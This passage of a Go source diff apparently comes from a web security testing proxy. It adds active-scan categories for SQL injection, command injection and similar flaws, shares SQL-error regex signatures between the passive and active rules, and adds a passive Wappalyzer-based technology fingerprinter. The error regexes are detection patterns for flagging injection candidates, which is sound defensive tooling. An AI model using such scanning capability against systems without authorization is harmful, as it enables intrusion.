return true
|
||||
}
|
||||
return false
|
||||
@@ -156,7 +178,9 @@ func AllCategories() []Category {
|
||||
return []Category{
|
||||
CategorySecrets, CategoryCredentials, CategoryPII, CategoryAccess,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
|
||||
CategoryReflection, CategoryDOMXSS,
|
||||
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
|
||||
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
|
||||
CategoryOpenRedirect, CategoryPathTraversal,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -897,30 +897,26 @@ func disclosureRules() []Rule {
|
||||
},
|
||||
|
||||
// SQL errors, one rule per engine so the finding names the DBMS.
|
||||
// Patterns are shared with the active SQLi rule via sqlerror.go so the two
|
||||
// never drift.
|
||||
sqlErr("sql-error-mysql", "MySQL error disclosed",
|
||||
"A MySQL or MariaDB error reaching the client. The message discloses fragments of the query, and because unsanitized input provoked it, marks the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`),
|
||||
"", SQLErrMySQL),
|
||||
sqlErr("sql-error-postgres", "PostgreSQL error disclosed",
|
||||
"A PostgreSQL error reaching the client. PSQLException and unterminated-string text disclose query structure and mark the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`),
|
||||
"", SQLErrPostgres),
|
||||
sqlErr("sql-error-mssql", "SQL Server error disclosed",
|
||||
"A Microsoft SQL Server error reaching the client. Unclosed-quotation and syntax-near messages disclose query structure and mark the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`),
|
||||
"", SQLErrMSSQL),
|
||||
sqlErr("sql-error-oracle", "Oracle error disclosed",
|
||||
"An Oracle ORA- error code reaching the client. The code identifies the failure precisely and marks the parameter as a SQL injection candidate.",
|
||||
"ora-",
|
||||
`\b(ORA-\d{5})\b`),
|
||||
"ora-", SQLErrOracle),
|
||||
sqlErr("sql-error-sqlite", "SQLite error disclosed",
|
||||
"A SQLite error reaching the client. Unrecognized-token and no-such-table messages disclose schema names and mark the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`),
|
||||
"", SQLErrSQLite),
|
||||
sqlErr("sql-error-odbc", "ODBC/JET database error disclosed",
|
||||
"An ODBC, JET, or DB2 error reaching the client, including PDO SQLSTATE codes. The driver-level message discloses query structure and marks the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`),
|
||||
"", SQLErrODBC),
|
||||
|
||||
// Version and technology fingerprints.
|
||||
{
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
package detect
|
||||
|
||||
import "regexp"
|
||||
|
||||
// Database-error signatures, one per DBMS. These are the single source of truth
|
||||
// shared by the passive sql-error-* rules (rules_builtin.go) and the active
|
||||
// SQL-injection rule (internal/activescan/sqli), which runs them against a probe
|
||||
// response to confirm error-based SQLi. Keeping one copy stops the two from
|
||||
// drifting.
|
||||
const (
|
||||
SQLErrMySQL = `(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`
|
||||
SQLErrPostgres = `(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`
|
||||
SQLErrMSSQL = `(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`
|
||||
SQLErrOracle = `\b(ORA-\d{5})\b`
|
||||
SQLErrSQLite = `(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`
|
||||
SQLErrODBC = `(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`
|
||||
)
|
||||
|
||||
type sqlErrorSig struct {
|
||||
engine string
|
||||
re *regexp.Regexp
|
||||
}
|
||||
|
||||
var sqlErrorSigs = []sqlErrorSig{
|
||||
{"MySQL", regexp.MustCompile(SQLErrMySQL)},
|
||||
{"PostgreSQL", regexp.MustCompile(SQLErrPostgres)},
|
||||
{"SQL Server", regexp.MustCompile(SQLErrMSSQL)},
|
||||
{"Oracle", regexp.MustCompile(SQLErrOracle)},
|
||||
{"SQLite", regexp.MustCompile(SQLErrSQLite)},
|
||||
{"ODBC/JET/DB2", regexp.MustCompile(SQLErrODBC)},
|
||||
}
|
||||
|
||||
// MatchSQLError reports whether body contains a database engine's error message,
|
||||
// returning the engine name and the matched text as evidence.
|
||||
func MatchSQLError(body []byte) (engine, evidence string, ok bool) {
|
||||
for _, s := range sqlErrorSigs {
|
||||
if loc := s.re.FindString(string(body)); loc != "" {
|
||||
return s.engine, loc, true
|
||||
}
|
||||
}
|
||||
return "", "", false
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package techfp
|
||||
|
||||
import _ "embed"
|
||||
|
||||
// The Wappalyzer fingerprint database, shipped unmodified under its MIT license
|
||||
// (see wappalyzer/LICENSE.md). It is embedded data, not a Go dependency, so it
|
||||
// adds nothing to the module graph or the plugin ABI — the reason the library
|
||||
// itself (which now pulls a headless-browser tree) is not imported.
|
||||
//
|
||||
//go:embed wappalyzer/fingerprints_data.json
|
||||
var fingerprintsJSON []byte
|
||||
|
||||
//go:embed wappalyzer/categories_data.json
|
||||
var categoriesJSON []byte
|
||||
@@ -0,0 +1,392 @@
|
||||
package techfp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"log"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
const (
|
||||
scanInterval = 500 * time.Millisecond
|
||||
maxPerTick = 100
|
||||
progressInterval = 500 * time.Millisecond
|
||||
// maxBodyScan caps the body handed to the deep (html/scriptSrc/meta) pass.
|
||||
// A fingerprint lives in the <head> and early markup; scanning megabytes of
|
||||
// a document body buys nothing.
|
||||
maxBodyScan = 512 * 1024
|
||||
)
|
||||
|
||||
// ErrScanRunning is returned when a rescan is already in progress.
|
||||
var ErrScanRunning = errors.New("a fingerprint scan is already running")
|
||||
|
||||
// ScanStatus reports an on-demand rescan.
|
||||
type ScanStatus struct {
|
||||
Running bool `json:"running"`
|
||||
JobID string `json:"jobId,omitempty"`
|
||||
Scanned int `json:"scanned"`
|
||||
Total int `json:"total"`
|
||||
StartedAt time.Time `json:"startedAt,omitempty"`
|
||||
FinishedAt time.Time `json:"finishedAt,omitempty"`
|
||||
Status string `json:"status,omitempty"` // "running" | "complete" | "stopped"
|
||||
}
|
||||
|
||||
// RescanRequest describes a backfill over captured history. Scope "host" with a
|
||||
// Host re-fingerprints one host; anything else re-fingerprints all captures.
|
||||
// Clear drops the derived map first (used on a project switch).
|
||||
type RescanRequest struct {
|
||||
Scope string `json:"scope"`
|
||||
Host string `json:"host,omitempty"`
|
||||
Clear bool `json:"clear,omitempty"`
|
||||
}
|
||||
|
||||
// Engine owns the cursor over captured traffic and the per-host technology store.
|
||||
// Analysis runs here, not on the proxy's request path, for the reason detect's
|
||||
// scanner gives: a browser waiting on a response must never wait on analysis, and
|
||||
// a pass that pulls from the store is the same code a rescan would run.
|
||||
type Engine struct {
|
||||
store *Store
|
||||
reqs *proxy.Store
|
||||
broadcast chan<- any
|
||||
|
||||
wapp atomic.Pointer[Wappalyzer] // built once on the loop goroutine
|
||||
ready atomic.Bool
|
||||
|
||||
enabled atomic.Bool
|
||||
cursor atomic.Int64
|
||||
wake chan struct{}
|
||||
|
||||
buildOnce sync.Once
|
||||
|
||||
// Rescan machinery, mirroring echo's: one rescan at a time, with cancel.
|
||||
mu sync.Mutex
|
||||
status ScanStatus
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// NewEngine constructs the engine. The database is compiled lazily on the first
|
||||
// loop iteration so the ~6k RE2 compilations stay off the server's boot path.
|
||||
func NewEngine(store *Store, reqs *proxy.Store, broadcast chan<- any) *Engine {
|
||||
e := &Engine{store: store, reqs: reqs, broadcast: broadcast, wake: make(chan struct{}, 1)}
|
||||
e.enabled.Store(true)
|
||||
return e
|
||||
}
|
||||
|
||||
// Store exposes the technology store for the API and the active-scan rule.
|
||||
func (e *Engine) Store() *Store { return e.store }
|
||||
|
||||
// Enabled reports whether fingerprinting is active.
|
||||
func (e *Engine) Enabled() bool { return e.enabled.Load() }
|
||||
|
||||
// SetEnabled toggles fingerprinting. A disabled engine no-ops per tick, so a live
|
||||
// toggle needs no restart.
|
||||
func (e *Engine) SetEnabled(on bool) {
|
||||
e.enabled.Store(on)
|
||||
e.Wake()
|
||||
}
|
||||
|
||||
// ResetCursor rewinds to seq and drops the derived map, because LoadItems
|
||||
// rewrites sequence numbers and a tag filed under an old one would describe a
|
||||
// different host's traffic.
|
||||
func (e *Engine) ResetCursor(seq int) {
|
||||
e.cursor.Store(int64(seq))
|
||||
if seq == 0 {
|
||||
e.store.Clear()
|
||||
}
|
||||
}
|
||||
|
||||
// Wake nudges the loop without waiting for the next tick.
|
||||
func (e *Engine) Wake() {
|
||||
select {
|
||||
case e.wake <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// Run drives the live scan loop until ctx is cancelled.
|
||||
func (e *Engine) Run(ctx context.Context) {
|
||||
e.build()
|
||||
if !e.ready.Load() {
|
||||
return // database failed to compile; logged in build
|
||||
}
|
||||
ticker := time.NewTicker(scanInterval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
e.scanOnce(ctx)
|
||||
case <-e.wake:
|
||||
e.scanOnce(ctx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Engine) build() {
|
||||
e.buildOnce.Do(func() {
|
||||
w, st, err := LoadWappalyzer()
|
||||
if err != nil {
|
||||
log.Printf("techfp: fingerprint database failed to load: %v", err)
|
||||
return
|
||||
}
|
||||
e.wapp.Store(w)
|
||||
e.ready.Store(true)
|
||||
log.Printf("techfp: fingerprint database loaded (%d technologies, %d patterns, %d dropped)",
|
||||
st.Techs, st.Patterns, st.Dropped)
|
||||
})
|
||||
}
|
||||
|
||||
func (e *Engine) scanOnce(ctx context.Context) {
|
||||
if !e.enabled.Load() || e.reqs == nil {
|
||||
return
|
||||
}
|
||||
w := e.wapp.Load()
|
||||
if w == nil {
|
||||
return
|
||||
}
|
||||
cursor := int(e.cursor.Load())
|
||||
items := e.reqs.SinceSeq(cursor, maxPerTick)
|
||||
if len(items) == 0 {
|
||||
return
|
||||
}
|
||||
maxSeq := cursor
|
||||
for _, it := range items {
|
||||
if it.Seq > maxSeq {
|
||||
maxSeq = it.Seq
|
||||
}
|
||||
}
|
||||
changed := e.fanOut(ctx, w, items, false, nil)
|
||||
e.cursor.Store(int64(maxSeq))
|
||||
if changed > 0 {
|
||||
e.emitSummary()
|
||||
}
|
||||
}
|
||||
|
||||
// StartRescan re-fingerprints captured history in the background: all hosts, or
|
||||
// one when Scope is "host". Unlike the live loop it forces the deep-scan pass, so
|
||||
// a host already past the per-host cap is still fully re-examined. One runs at a
|
||||
// time. Pass the server-lifetime context so the job outlives the request.
|
||||
func (e *Engine) StartRescan(ctx context.Context, req RescanRequest) (ScanStatus, error) {
|
||||
if e.reqs == nil {
|
||||
return ScanStatus{}, errors.New("no capture store")
|
||||
}
|
||||
e.mu.Lock()
|
||||
if e.status.Running {
|
||||
st := e.status
|
||||
e.mu.Unlock()
|
||||
return st, ErrScanRunning
|
||||
}
|
||||
items := e.reqs.All()
|
||||
// Exact host match, deliberately not the case-insensitive substring a listing
|
||||
// uses: a rescan is work, not a view, and a substring would silently multiply it.
|
||||
if req.Scope == "host" && req.Host != "" {
|
||||
filtered := items[:0:0]
|
||||
for _, it := range items {
|
||||
if it.Host == req.Host {
|
||||
filtered = append(filtered, it)
|
||||
}
|
||||
}
|
||||
items = filtered
|
||||
}
|
||||
jobID := proxy.GenerateID()
|
||||
rctx, cancel := context.WithCancel(ctx)
|
||||
e.cancel = cancel
|
||||
e.status = ScanStatus{Running: true, JobID: jobID, Total: len(items), StartedAt: time.Now(), Status: "running"}
|
||||
status := e.status
|
||||
e.mu.Unlock()
|
||||
|
||||
if req.Clear {
|
||||
e.store.Clear()
|
||||
}
|
||||
go e.runRescan(rctx, cancel, jobID, items)
|
||||
return status, nil
|
||||
}
|
||||
|
||||
func (e *Engine) runRescan(ctx context.Context, cancel context.CancelFunc, jobID string, items []*proxy.CapturedRequest) {
|
||||
defer cancel()
|
||||
e.build()
|
||||
w := e.wapp.Load()
|
||||
started := time.Now()
|
||||
e.emit("tech.scan.started", map[string]any{"jobId": jobID, "total": len(items)})
|
||||
|
||||
scanned := 0
|
||||
if w != nil {
|
||||
scanned = e.fanOut(ctx, w, items, true, func(n int) {
|
||||
e.mu.Lock()
|
||||
e.status.Scanned = n
|
||||
e.mu.Unlock()
|
||||
e.emit("tech.scan.progress", map[string]any{"jobId": jobID, "scanned": n, "total": len(items)})
|
||||
})
|
||||
}
|
||||
|
||||
state := "complete"
|
||||
if ctx.Err() != nil {
|
||||
state = "stopped"
|
||||
}
|
||||
e.mu.Lock()
|
||||
e.status.Running = false
|
||||
e.status.Scanned = scanned
|
||||
e.status.FinishedAt = time.Now()
|
||||
e.status.Status = state
|
||||
e.cancel = nil
|
||||
e.mu.Unlock()
|
||||
|
||||
e.emit("tech.scan.complete", map[string]any{
|
||||
"jobId": jobID, "status": state, "scanned": scanned,
|
||||
"durationMs": time.Since(started).Milliseconds(),
|
||||
})
|
||||
e.emitSummary()
|
||||
}
|
||||
|
||||
// Status returns a copy of the current rescan status.
|
||||
func (e *Engine) Status() ScanStatus {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
return e.status
|
||||
}
|
||||
|
||||
// Cancel stops a running rescan.
|
||||
func (e *Engine) Cancel() {
|
||||
e.mu.Lock()
|
||||
cancel := e.cancel
|
||||
e.mu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
|
||||
func scanWorkers(n int) int {
|
||||
w := runtime.NumCPU() / 2
|
||||
if w < 2 {
|
||||
w = 2
|
||||
}
|
||||
if w > 8 {
|
||||
w = 8
|
||||
}
|
||||
if n < w {
|
||||
w = n
|
||||
}
|
||||
return w
|
||||
}
|
||||
|
||||
// fanOut fingerprints items across a bounded pool and returns how many produced a
|
||||
// change. The pool needs no coordination beyond the store, which is mutexed. force
|
||||
// bypasses the per-host deep-scan cap (set on a rescan); onProgress, when non-nil,
|
||||
// is called from the producer at most once per progressInterval.
|
||||
func (e *Engine) fanOut(ctx context.Context, w *Wappalyzer, items []*proxy.CapturedRequest, force bool, onProgress func(scanned int)) int {
|
||||
workers := scanWorkers(len(items))
|
||||
if workers <= 0 {
|
||||
return 0
|
||||
}
|
||||
work := make(chan *proxy.CapturedRequest, workers)
|
||||
var changed, scanned atomic.Int64
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for it := range work {
|
||||
if e.analyzeOne(w, it, force) {
|
||||
changed.Add(1)
|
||||
}
|
||||
scanned.Add(1)
|
||||
}
|
||||
}()
|
||||
}
|
||||
last := time.Now()
|
||||
for _, it := range items {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
close(work)
|
||||
wg.Wait()
|
||||
return int(changed.Load())
|
||||
case work <- it:
|
||||
}
|
||||
if onProgress != nil && time.Since(last) >= progressInterval {
|
||||
last = time.Now()
|
||||
onProgress(int(scanned.Load()))
|
||||
}
|
||||
}
|
||||
close(work)
|
||||
wg.Wait()
|
||||
return int(changed.Load())
|
||||
}
|
||||
|
||||
// analyzeOne fingerprints one capture and folds the result into the host's set.
|
||||
// It reports whether the host's technology set changed.
|
||||
func (e *Engine) analyzeOne(w *Wappalyzer, it *proxy.CapturedRequest, force bool) bool {
|
||||
if it == nil || len(it.RespRaw) == 0 || it.Host == "" {
|
||||
return false
|
||||
}
|
||||
resp := httptools.ReadResponse(it.RespRaw)
|
||||
isHTML := strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "html")
|
||||
deep := isHTML && len(resp.Body) > 0 && (force || e.store.NeedsDeepScan(it.Host))
|
||||
|
||||
body := resp.Body
|
||||
if deep && len(body) > maxBodyScan {
|
||||
body = body[:maxBodyScan]
|
||||
}
|
||||
in := Input{Header: resp.Header, URL: it.URL, IsHTML: deep}
|
||||
if deep {
|
||||
in.Body = body
|
||||
}
|
||||
dets := w.Fingerprint(in)
|
||||
if len(dets) == 0 {
|
||||
if deep {
|
||||
// Record the deep-scan attempt so a tech-less host does not get
|
||||
// re-scanned forever.
|
||||
e.store.Observe(it.Host, true, nil)
|
||||
}
|
||||
return false
|
||||
}
|
||||
changed := e.store.Observe(it.Host, deep, dets)
|
||||
if changed {
|
||||
e.emitHost(it.Host)
|
||||
}
|
||||
return changed
|
||||
}
|
||||
|
||||
// emitHost streams a host's current technology set. Droppable: the UI reconciles
|
||||
// from GET /tech/hosts.
|
||||
func (e *Engine) emitHost(host string) {
|
||||
if e.broadcast == nil {
|
||||
return
|
||||
}
|
||||
ht, ok := e.store.Host(host)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case e.broadcast <- event.WSEvent{Type: "tech.detected", Data: ht}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Engine) emitSummary() {
|
||||
if e.broadcast == nil {
|
||||
return
|
||||
}
|
||||
hosts, techs := e.store.Summary()
|
||||
select {
|
||||
case e.broadcast <- event.WSEvent{Type: "tech.summary", Data: map[string]any{"hosts": hosts, "techs": techs}}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// emit sends a rescan lifecycle event, blocking so it cannot be lost (the hub
|
||||
// fans out to subscribers without blocking).
|
||||
func (e *Engine) emit(kind string, data any) {
|
||||
if e.broadcast == nil {
|
||||
return
|
||||
}
|
||||
e.broadcast <- event.WSEvent{Type: kind, Data: data}
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
package techfp
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Tech is one technology observed on a host, folded over every response that
|
||||
// contributed to it.
|
||||
type Tech struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version,omitempty"`
|
||||
Categories []string `json:"categories,omitempty"`
|
||||
Confidence int `json:"confidence"`
|
||||
}
|
||||
|
||||
// HostTech is the technology set for one host.
|
||||
type HostTech struct {
|
||||
Host string `json:"host"`
|
||||
Technologies []Tech `json:"technologies"`
|
||||
UpdatedAt time.Time `json:"updatedAt"`
|
||||
}
|
||||
|
||||
// Store is the cumulative per-host technology map. It is rebuilt from the capture
|
||||
// store on demand (a reset clears it), not persisted separately — the same reason
|
||||
// echo's reflection map is in-memory: it is derivable from captured traffic.
|
||||
type Store struct {
|
||||
mu sync.RWMutex
|
||||
hosts map[string]map[string]*Tech
|
||||
seen map[string]int // host -> count of HTML responses deep-scanned
|
||||
times map[string]time.Time
|
||||
}
|
||||
|
||||
// NewStore creates an empty store.
|
||||
func NewStore() *Store {
|
||||
return &Store{
|
||||
hosts: map[string]map[string]*Tech{},
|
||||
seen: map[string]int{},
|
||||
times: map[string]time.Time{},
|
||||
}
|
||||
}
|
||||
|
||||
// maxDeepScansPerHost caps how many HTML pages of one host get the expensive
|
||||
// body/scriptSrc/meta pass. Technology is host-stable, so a handful of pages
|
||||
// settles the set; further pages only re-confirm it.
|
||||
const maxDeepScansPerHost = 8
|
||||
|
||||
// NeedsDeepScan reports whether this host still warrants the body-matching pass.
|
||||
func (s *Store) NeedsDeepScan(host string) bool {
|
||||
host = normHost(host)
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
return s.seen[host] < maxDeepScansPerHost
|
||||
}
|
||||
|
||||
func (s *Store) noteDeepScan(host string) {
|
||||
s.seen[host]++
|
||||
}
|
||||
|
||||
// Observe folds a response's detections into a host's set and reports whether
|
||||
// anything changed (a new technology or a newly-learned version), which is what
|
||||
// gates a broadcast.
|
||||
func (s *Store) Observe(host string, deep bool, dets []Detection) bool {
|
||||
host = normHost(host)
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if deep {
|
||||
s.noteDeepScan(host)
|
||||
}
|
||||
set := s.hosts[host]
|
||||
if set == nil {
|
||||
set = map[string]*Tech{}
|
||||
s.hosts[host] = set
|
||||
}
|
||||
changed := false
|
||||
for _, d := range dets {
|
||||
cur := set[d.Name]
|
||||
if cur == nil {
|
||||
set[d.Name] = &Tech{
|
||||
Name: d.Name, Version: d.Version,
|
||||
Categories: d.Categories, Confidence: d.Confidence,
|
||||
}
|
||||
changed = true
|
||||
continue
|
||||
}
|
||||
if d.Version != "" && cur.Version == "" {
|
||||
cur.Version = d.Version
|
||||
changed = true
|
||||
}
|
||||
if d.Confidence > cur.Confidence {
|
||||
cur.Confidence = d.Confidence
|
||||
}
|
||||
}
|
||||
if changed {
|
||||
s.times[host] = time.Now()
|
||||
}
|
||||
return changed
|
||||
}
|
||||
|
||||
// Host returns the technology set for one host.
|
||||
func (s *Store) Host(host string) (HostTech, bool) {
|
||||
host = normHost(host)
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
set, ok := s.hosts[host]
|
||||
if !ok || len(set) == 0 {
|
||||
return HostTech{}, false
|
||||
}
|
||||
return s.snapshot(host, set), true
|
||||
}
|
||||
|
||||
// Names returns just the detected technology names for a host, for scan gating.
|
||||
func (s *Store) Names(host string) []string {
|
||||
host = normHost(host)
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
set := s.hosts[host]
|
||||
out := make([]string, 0, len(set))
|
||||
for name := range set {
|
||||
out = append(out, name)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Hosts returns every host's technology set, newest first.
|
||||
func (s *Store) Hosts() []HostTech {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]HostTech, 0, len(s.hosts))
|
||||
for host, set := range s.hosts {
|
||||
if len(set) == 0 {
|
||||
continue
|
||||
}
|
||||
out = append(out, s.snapshot(host, set))
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].UpdatedAt.After(out[j].UpdatedAt) })
|
||||
return out
|
||||
}
|
||||
|
||||
// Clear drops everything, for a cursor reset (history load/clear rewrites the
|
||||
// sequence numbering the scanner walks).
|
||||
func (s *Store) Clear() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.hosts = map[string]map[string]*Tech{}
|
||||
s.seen = map[string]int{}
|
||||
s.times = map[string]time.Time{}
|
||||
}
|
||||
|
||||
// Summary counts hosts and distinct technologies.
|
||||
func (s *Store) Summary() (hosts, techs int) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
distinct := map[string]struct{}{}
|
||||
for _, set := range s.hosts {
|
||||
if len(set) == 0 {
|
||||
continue
|
||||
}
|
||||
hosts++
|
||||
for name := range set {
|
||||
distinct[name] = struct{}{}
|
||||
}
|
||||
}
|
||||
return hosts, len(distinct)
|
||||
}
|
||||
|
||||
// snapshot builds a sorted HostTech. Caller holds the lock.
|
||||
func (s *Store) snapshot(host string, set map[string]*Tech) HostTech {
|
||||
techs := make([]Tech, 0, len(set))
|
||||
for _, t := range set {
|
||||
techs = append(techs, *t)
|
||||
}
|
||||
sort.Slice(techs, func(i, j int) bool {
|
||||
if techs[i].Confidence != techs[j].Confidence {
|
||||
return techs[i].Confidence > techs[j].Confidence
|
||||
}
|
||||
return techs[i].Name < techs[j].Name
|
||||
})
|
||||
return HostTech{Host: host, Technologies: techs, UpdatedAt: s.times[host]}
|
||||
}
|
||||
|
||||
func normHost(h string) string { return strings.ToLower(strings.TrimSpace(h)) }
|
||||
@@ -0,0 +1,443 @@
|
||||
// Package techfp is Joro's passive technology fingerprinter. Like detect, echo
|
||||
// and anomaly, it only ever reads captured traffic — it never originates a
|
||||
// request. It pulls responses from the proxy store, matches them against the
|
||||
// embedded Wappalyzer database, and tags each host with the technologies it
|
||||
// serves. The active-scan signature rule reads those tags to run only the checks
|
||||
// that match a host's stack.
|
||||
//
|
||||
// # Only what a response reveals
|
||||
//
|
||||
// The Wappalyzer database also carries js/ and dom/ rules that require executing
|
||||
// a page in a browser. This engine evaluates only the HTTP-observable keys —
|
||||
// headers, cookies, html, scriptSrc, meta and url — and ignores js/dom at load.
|
||||
// Coverage is therefore honestly narrower than a browser-driven scan rather than
|
||||
// silently wrong: a tech only detectable by running its JavaScript is simply not
|
||||
// reported.
|
||||
//
|
||||
// # Fail-open, because it is advisory
|
||||
//
|
||||
// Unlike a vulnerability finding, a technology tag is advisory: a wrong tag only
|
||||
// mis-gates a later scan. So a pattern that will not compile under RE2 is dropped
|
||||
// (not an error), and gating fails open on an unknown version.
|
||||
package techfp
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Detection is one technology matched in a single response.
|
||||
type Detection struct {
|
||||
Name string
|
||||
Version string
|
||||
Categories []string
|
||||
Confidence int
|
||||
}
|
||||
|
||||
// Input is the HTTP-observable surface of one response.
|
||||
type Input struct {
|
||||
Header http.Header
|
||||
URL string
|
||||
Body []byte // decoded body, already size-capped; only read when IsHTML
|
||||
IsHTML bool
|
||||
}
|
||||
|
||||
// cpattern is a compiled Wappalyzer pattern. A nil re means presence-only (an
|
||||
// empty pattern string, used by cookie rules that match on a cookie's existence).
|
||||
type cpattern struct {
|
||||
re *regexp.Regexp
|
||||
verGroup int // capture group holding the version, 0 for none
|
||||
conf int // confidence weight, default 100
|
||||
}
|
||||
|
||||
// techDef is one technology's compiled rules.
|
||||
type techDef struct {
|
||||
name string
|
||||
cats []string
|
||||
headers map[string][]cpattern // canonical header name -> patterns
|
||||
cookies map[string][]cpattern // lower cookie name -> patterns
|
||||
meta map[string][]cpattern // lower meta name -> patterns
|
||||
html []cpattern
|
||||
scriptSrc []cpattern
|
||||
url []cpattern
|
||||
implies []string
|
||||
}
|
||||
|
||||
func (t *techDef) deep() bool {
|
||||
return len(t.html) > 0 || len(t.scriptSrc) > 0 || len(t.meta) > 0
|
||||
}
|
||||
|
||||
// Wappalyzer is the compiled, queryable fingerprint database.
|
||||
type Wappalyzer struct {
|
||||
byName map[string]*techDef
|
||||
// Field-partitioned views so a lookup touches only the techs that declare a
|
||||
// rule of that kind, not all ~7600.
|
||||
headerTechs []*techDef
|
||||
cookieTechs []*techDef
|
||||
urlTechs []*techDef
|
||||
deepTechs []*techDef
|
||||
}
|
||||
|
||||
// Names returns every technology name in the database. tools/nucleigen uses it to
|
||||
// map a nuclei template's tags to canonical technology names for RequiresTech.
|
||||
func (w *Wappalyzer) Names() []string {
|
||||
out := make([]string, 0, len(w.byName))
|
||||
for name := range w.byName {
|
||||
out = append(out, name)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Stats reports how the database compiled, for a startup log line.
|
||||
type Stats struct {
|
||||
Techs int
|
||||
Patterns int
|
||||
Dropped int // patterns rejected by RE2
|
||||
}
|
||||
|
||||
// stringList unmarshals a JSON value that may be a string or an array of strings.
|
||||
type stringList []string
|
||||
|
||||
func (s *stringList) UnmarshalJSON(b []byte) error {
|
||||
b = []byte(strings.TrimSpace(string(b)))
|
||||
if len(b) == 0 || string(b) == "null" {
|
||||
return nil
|
||||
}
|
||||
if b[0] == '[' {
|
||||
var a []string
|
||||
if err := json.Unmarshal(b, &a); err != nil {
|
||||
return err
|
||||
}
|
||||
*s = a
|
||||
return nil
|
||||
}
|
||||
var str string
|
||||
if err := json.Unmarshal(b, &str); err != nil {
|
||||
return err
|
||||
}
|
||||
*s = []string{str}
|
||||
return nil
|
||||
}
|
||||
|
||||
type rawApp struct {
|
||||
Cats []int `json:"cats"`
|
||||
Headers map[string]stringList `json:"headers"`
|
||||
Cookies map[string]stringList `json:"cookies"`
|
||||
Meta map[string]stringList `json:"meta"`
|
||||
HTML stringList `json:"html"`
|
||||
ScriptSrc stringList `json:"scriptSrc"`
|
||||
URL stringList `json:"url"`
|
||||
Implies stringList `json:"implies"`
|
||||
}
|
||||
|
||||
type rawCategory struct {
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
// LoadWappalyzer parses and compiles the embedded database. It is called once,
|
||||
// from the engine's background loop, so the RE2 compilation cost stays off the
|
||||
